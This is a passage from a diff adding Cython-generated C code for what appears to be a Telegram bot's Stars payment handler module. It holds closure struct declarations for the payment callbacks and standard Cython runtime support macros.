*__pyx_v_state; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; + PyObject *__pyx_t_3; + PyObject *__pyx_t_4; + PyObject *__pyx_t_5; + PyObject *__pyx_t_6; + PyObject *__pyx_t_7; + PyObject *__pyx_t_8; +}; + + +/* "handlers/payments/stars_pay.py":155 + * + * + * @router.callback_query(F.data == "enter_custom_amount_stars") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_state; +}; + + +/* "handlers/payments/stars_pay.py":170 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_stars) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_builder; + PyObject *__pyx_v_e; + PyObject *__pyx_v_message; + PyObject *__pyx_v_state; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; + PyObject *__pyx_t_3; + PyObject *__pyx_t_4; + PyObject *__pyx_t_5; +}; + + +/* "handlers/payments/stars_pay.py":208 + * + * + * @router.pre_checkout_query() # <<<<<<<<<<<<<< + * async def on_pre_checkout_query(pre_checkout_query: PreCheckoutQuery): + * await pre_checkout_query.answer(ok=True) + */ +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query { + PyObject_HEAD + PyObject *__pyx_v_pre_checkout_query; +}; + + +/* "handlers/payments/stars_pay.py":213 + * + * + * @router.message(F.successful_payment) # <<<<<<<<<<<<<< + * async def on_successful_payment( + * message: types.Message, + */ +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment { + PyObject_HEAD + double __pyx_v_amount; + PyObject *__pyx_v_e; + PyObject *__pyx_v_message; + PyObject *__pyx_v_user_id; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; +}; + +/* #### Code section: utility_code_proto ### */ + +/* --- Runtime support code (head) --- */ +/* Refnanny.proto */ +#ifndef CYTHON_REFNANNY + #define CYTHON_REFNANNY 0 +#endif +#if CYTHON_REFNANNY + typedef struct { + void (*INCREF)(void*, PyObject*, Py_ssize_t); + void (*DECREF)(void*, PyObject*, Py_ssize_t); + void (*GOTREF)(void*, PyObject*, Py_ssize_t); + void (*GIVEREF)(void*, PyObject*, Py_ssize_t); + void* (*SetupContext)(const char*, Py_ssize_t, const char*); + void (*FinishContext)(void**); + } __Pyx_RefNannyAPIStruct; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); + #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; +#ifdef WITH_THREAD + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + if (acquire_gil) {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + PyGILState_Release(__pyx_gilstate_save);\ + } else {\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + } + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } +#else + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__)) + #define __Pyx_RefNannyFinishContextNogil() __Pyx_RefNannyFinishContext() +#endif + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } + #define __Pyx_RefNannyFinishContext()\ + __Pyx_RefNanny->FinishContext(&__pyx_refnanny) + #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_XINCREF(r) do { if((r) == NULL); else {__Pyx_INCREF(r); }} while(0) + #define __Pyx_XDECREF(r) do { if((r) == NULL); else {__Pyx_DECREF(r); }} while(0) + #define __Pyx_XGOTREF(r) do { if((r) == NULL); else {__Pyx_GOTREF(r); }} while(0) + #define __Pyx_XGIVEREF(r) do { if((r) == NULL); else {__Pyx_GIVEREF(r);}} while(0) +#else + #define __Pyx_RefNannyDeclarations + #define __Pyx_RefNannySetupContext(name, acquire_gil) + #define __Pyx_RefNannyFinishContextNogil() + #define __Pyx_RefNannyFinishContext() + #define __Pyx_INCREF(r) Py_INCREF(r) + #define __Pyx_DECREF(r) Py_DECREF(r) + #define __Pyx_GOTREF(r) + #define __Pyx_GIVEREF(r) + #define __Pyx_XINCREF(r) Py_XINCREF(r) + #define __Pyx_XDECREF(r) Py_XDECREF(r) + #define __Pyx_XGOTREF(r) + #define __Pyx_XGIVEREF(r) +#endif +#define __Pyx_Py_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; Py_XDECREF(tmp);\ + } while (0) +#define __Pyx_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_XDECREF(tmp);\ + } while (0) +#define __Pyx_DECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_DECREF(tmp);\ + } while (0) +#define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) +#define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) + +/* PyErrExceptionMatches.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) +static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); +#else +#define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) +#endif + +/* PyThreadStateGet.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; +#define __Pyx_PyThreadState_assign __pyx_tstate = __Pyx_PyThreadState_Current; +#if PY_VERSION_HEX >= 0x030C00A6 +#define __Pyx_PyErr_Occurred() (__pyx_tstate->current_exception != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->current_exception ? (PyObject*) Py_TYPE(__pyx_tstate->current_exception) : (PyObject*) NULL) +#else +#define __Pyx_PyErr_Occurred() (__pyx_tstate->curexc_type != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->curexc_type) +#endif +#else +#define __Pyx_PyThreadState_declare +#define __Pyx_PyThreadState_assign +#define __Pyx_PyErr_Occurred() (PyErr_Occurred() != NULL) +#define __Pyx_PyErr_CurrentExceptionType() PyErr_Occurred() +#endif + +/* PyErrFetchRestore.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_Clear() __Pyx_ErrRestore(NULL, NULL, NULL) +#define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A6 +#define __Pyx_PyErr_SetNone(exc) (Py_INCREF(exc), __Pyx_ErrRestore((exc), NULL, NULL)) +#else +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#endif +#else +#define __Pyx_PyErr_Clear() PyErr_Clear() +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestoreInState(tstate, type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchInState(tstate, type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) +#endif + +/* PyObjectGetAttrStr.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) +#endif + +/* PyObjectGetAttrStrNoError.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name); + +/* GetBuiltinName.proto */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name); + +/* TupleAndListFromArray.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n); +static CYTHON_INLINE PyObject* __Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n); +#endif + +/* IncludeStringH.proto */ +#include + +/* BytesEquals.proto */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals); + +/* UnicodeEquals.proto */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals); + +/* fastcall.proto */ +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_VARARGS(args, i) PySequence_GetItem(args, i) +#elif CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GET_ITEM(args, i) +#else + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GetItem(args, i) +#endif +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_NewRef_VARARGS(arg) __Pyx_NewRef(arg) + #define __Pyx_Arg_XDECREF_VARARGS(arg) Py_XDECREF(arg) +#else + #define __Pyx_Arg_NewRef_VARARGS(arg) arg + #define __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#define __Pyx_NumKwargs_VARARGS(kwds) PyDict_Size(kwds) +#define __Pyx_KwValues_VARARGS(args, nargs) NULL +#define __Pyx_GetKwValue_VARARGS(kw, kwvalues, s) __Pyx_PyDict_GetItemStrWithError(kw, s) +#define __Pyx_KwargsAsDict_VARARGS(kw, kwvalues) PyDict_Copy(kw) +#if CYTHON_METH_FASTCALL + #define __Pyx_Arg_FASTCALL(args, i) args[i] + #define __Pyx_NumKwargs_FASTCALL(kwds) PyTuple_GET_SIZE(kwds) + #define __Pyx_KwValues_FASTCALL(args, nargs) ((args) + (nargs)) + static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 + CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues); + #else + #define __Pyx_KwargsAsDict_FASTCALL(kw, kwvalues) _PyStack_AsDict(kwvalues, kw) + #endif + #define __Pyx_Arg_NewRef_FASTCALL(arg) arg /* no-op, __Pyx_Arg_FASTCALL is direct and this needs + to have the same reference counting */ + #define __Pyx_Arg_XDECREF_FASTCALL(arg) +#else + #define __Pyx_Arg_FASTCALL __Pyx_Arg_VARARGS + #define __Pyx_NumKwargs_FASTCALL __Pyx_NumKwargs_VARARGS + #define __Pyx_KwValues_FASTCALL __Pyx_KwValues_VARARGS + #define __Pyx_GetKwValue_FASTCALL __Pyx_GetKwValue_VARARGS + #define __Pyx_KwargsAsDict_FASTCALL __Pyx_KwargsAsDict_VARARGS + #define __Pyx_Arg_NewRef_FASTCALL(arg) __Pyx_Arg_NewRef_VARARGS(arg) + #define __Pyx_Arg_XDECREF_FASTCALL(arg) __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_VARARGS(args, start), stop - start) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_FASTCALL(args, start), stop - start) +#else +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) PyTuple_GetSlice(args, start, stop) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) PyTuple_GetSlice(args, start, stop) +#endif + +/* RaiseArgTupleInvalid.proto */ +static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, + Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); + +/* RaiseDoubleKeywords.proto */ +static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); + +/* ParseKeywords.proto */ +static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, + const char* function_name); + +/* PyDictVersioning.proto */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +#define __PYX_DICT_VERSION_INIT ((PY_UINT64_T) -1) +#define __PYX_GET_DICT_VERSION(dict) (((PyDictObject*)(dict))->ma_version_tag) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var)\ + (version_var) = __PYX_GET_DICT_VERSION(dict);\ + (cache_var) = (value); +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + if (likely(__PYX_GET_DICT_VERSION(DICT) == __pyx_dict_version)) {\ + (VAR) = __pyx_dict_cached_value;\ + } else {\ + (VAR) = __pyx_dict_cached_value = (LOOKUP);\ + __pyx_dict_version = __PYX_GET_DICT_VERSION(DICT);\ + }\ +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj); +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj); +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version); +#else +#define __PYX_GET_DICT_VERSION(dict) (0) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var) +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) (VAR) = (LOOKUP); +#endif + +/* GetModuleGlobalName.proto */ +#if CYTHON_USE_DICT_VERSIONS +#define __Pyx_GetModuleGlobalName(var, name) do {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + (var) = (likely(__pyx_dict_version == __PYX_GET_DICT_VERSION(__pyx_d))) ?\ + (likely(__pyx_dict_cached_value) ? __Pyx_NewRef(__pyx_dict_cached_value) : __Pyx_GetBuiltinName(name)) :\ + __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +#define __Pyx_GetModuleGlobalNameUncached(var, name) do {\ + PY_UINT64_T __pyx_dict_version;\ + PyObject *__pyx_dict_cached_value;\ + (var) = __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value); +#else +#define __Pyx_GetModuleGlobalName(var, name) (var) = __Pyx__GetModuleGlobalName(name) +#define __Pyx_GetModuleGlobalNameUncached(var, name) (var) = __Pyx__GetModuleGlobalName(name) +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name); +#endif + +/* PyFunctionFastCall.proto */ +#if CYTHON_FAST_PYCALL +#if !CYTHON_VECTORCALL +#define __Pyx_PyFunction_FastCall(func, args, nargs)\ + __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs); +#endif +#define __Pyx_BUILD_ASSERT_EXPR(cond)\ + (sizeof(char [1 - 2*!(cond)]) - 1) +#ifndef Py_MEMBER_SIZE +#define Py_MEMBER_SIZE(type, member) sizeof(((type *)0)->member) +#endif +#if !CYTHON_VECTORCALL +#if PY_VERSION_HEX >= 0x03080000 + #include "frameobject.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif + #define __Pxy_PyFrame_Initialize_Offsets() + #define __Pyx_PyFrame_GetLocalsplus(frame) ((frame)->f_localsplus) +#else + static size_t __pyx_pyframe_localsplus_offset = 0; + #include "frameobject.h" + #define __Pxy_PyFrame_Initialize_Offsets()\ + ((void)__Pyx_BUILD_ASSERT_EXPR(sizeof(PyFrameObject) == offsetof(PyFrameObject, f_localsplus) + Py_MEMBER_SIZE(PyFrameObject, f_localsplus)),\ + (void)(__pyx_pyframe_localsplus_offset = ((size_t)PyFrame_Type.tp_basicsize) - Py_MEMBER_SIZE(PyFrameObject, f_localsplus))) + #define __Pyx_PyFrame_GetLocalsplus(frame)\ + (assert(__pyx_pyframe_localsplus_offset), (PyObject **)(((char *)(frame)) + __pyx_pyframe_localsplus_offset)) +#endif +#endif +#endif + +/* PyObjectCall.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); +#else +#define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) +#endif + +/* PyObjectCallMethO.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); +#endif + +/* PyObjectFastCall.proto */ +#define __Pyx_PyObject_FastCall(func, args, nargs) __Pyx_PyObject_FastCallDict(func, args, (size_t)(nargs), NULL) +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs); + +/* IncludeStructmemberH.proto */ +#include + +/* FixUpExtensionType.proto */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type); +#endif + +/* FetchSharedCythonModule.proto */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void); + +/* FetchCommonType.proto */ +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); +#else +static PyTypeObject* __Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases); +#endif + +/* RaiseException.proto */ +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); + +/* GetTopmostException.proto */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * __Pyx_PyErr_GetTopmostException(PyThreadState *tstate); +#endif + +/* SaveResetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +#else +#define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) +#define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) +#endif + +/* SwapException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* PyObjectCall2Args.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2); + +/* PyObjectCallOneArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); + +/* PyObjectGetMethod.proto */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method); + +/* PyObjectCallMethod1.proto */ +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); + +/* PyObjectCallNoArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); + +/* CoroutineBase.proto */ +struct __pyx_CoroutineObject; +typedef PyObject *(*__pyx_coroutine_body_t)(struct __pyx_CoroutineObject *, PyThreadState *, PyObject *); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_ExcInfoStruct _PyErr_StackItem +#else +typedef struct { + PyObject *exc_type; + PyObject *exc_value; + PyObject *exc_traceback; +} __Pyx_ExcInfoStruct; +#endif +typedef struct __pyx_CoroutineObject { + PyObject_HEAD + __pyx_coroutine_body_t body; + PyObject *closure; + __Pyx_ExcInfoStruct gi_exc_state; + PyObject *gi_weakreflist; + PyObject *classobj; + PyObject *yieldfrom; + PyObject *gi_name; + PyObject *gi_qualname; + PyObject *gi_modulename; + PyObject *gi_code; + PyObject *gi_frame; + int resume_label; + char is_running; +} __pyx_CoroutineObject; +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject *type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static CYTHON_INLINE void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *self); +static int __Pyx_Coroutine_clear(PyObject *self); +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value); +static PyObject *__Pyx_Coroutine_Close(PyObject *self); +static PyObject *__Pyx_Coroutine_Throw(PyObject *gen, PyObject *args); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_Coroutine_SwapException(self) +#define __Pyx_Coroutine_ResetAndClearException(self) __Pyx_Coroutine_ExceptionClear(&(self)->gi_exc_state) +#else +#define __Pyx_Coroutine_SwapException(self) {\ + __Pyx_ExceptionSwap(&(self)->gi_exc_state.exc_type, &(self)->gi_exc_state.exc_value, &(self)->gi_exc_state.exc_traceback);\ + __Pyx_Coroutine_ResetFrameBackpointer(&(self)->gi_exc_state);\ + } +#define __Pyx_Coroutine_ResetAndClearException(self) {\ + __Pyx_ExceptionReset((self)->gi_exc_state.exc_type, (self)->gi_exc_state.exc_value, (self)->gi_exc_state.exc_traceback);\ + (self)->gi_exc_state.exc_type = (self)->gi_exc_state.exc_value = (self)->gi_exc_state.exc_traceback = NULL;\ + } +#endif +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__pyx_tstate, pvalue) +#else +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, pvalue) +#endif +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *tstate, PyObject **pvalue); +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state); + +/* PyObject_GenericGetAttrNoDict.proto */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GenericGetAttrNoDict PyObject_GenericGetAttr +#endif + +/* PatchModuleWithCoroutine.proto */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code); + +/* PatchGeneratorABC.proto */ +static int __Pyx_patch_abc(void); + +/* Coroutine.proto */ +#define __Pyx_Coroutine_USED +#define __Pyx_Coroutine_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineType) +#define __Pyx_Coroutine_Check(obj) __Pyx_Coroutine_CheckExact(obj) +#define __Pyx_CoroutineAwait_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineAwaitType) +#define __Pyx_Coroutine_New(body, code, closure, name, qualname, module_name)\ + __Pyx__Coroutine_New(__pyx_CoroutineType, body, code, closure, name, qualname, module_name) +static int __pyx_Coroutine_init(PyObject *module); +static PyObject *__Pyx__Coroutine_await(PyObject *coroutine); +typedef struct { + PyObject_HEAD + PyObject *coroutine; +} __pyx_CoroutineAwaitObject; +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg); +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args); + +/* GetAwaitIter.proto */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o); +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *o); + +/* CoroutineYieldFrom.proto */ +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source); + +/* PyIntBinop.proto */ +#if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check); +#else +#define __Pyx_PyInt_AddObjC(op1, op2, intval, inplace, zerodivision_check)\ + (inplace ? PyNumber_InPlaceAdd(op1, op2) : PyNumber_Add(op1, op2)) +#endif + +/* GetItemInt.proto */ +#define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ + (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ + __Pyx_GetItemInt_Generic(o, to_py_func(i)))) +#define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +#define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, + int is_list, int wraparound, int boundscheck); + +/* ObjectGetItem.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key); +#else +#define __Pyx_PyObject_GetItem(obj, key) PyObject_GetItem(obj, key) +#endif + +/* DictGetItem.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key); +#define __Pyx_PyObject_Dict_GetItem(obj, name)\ + 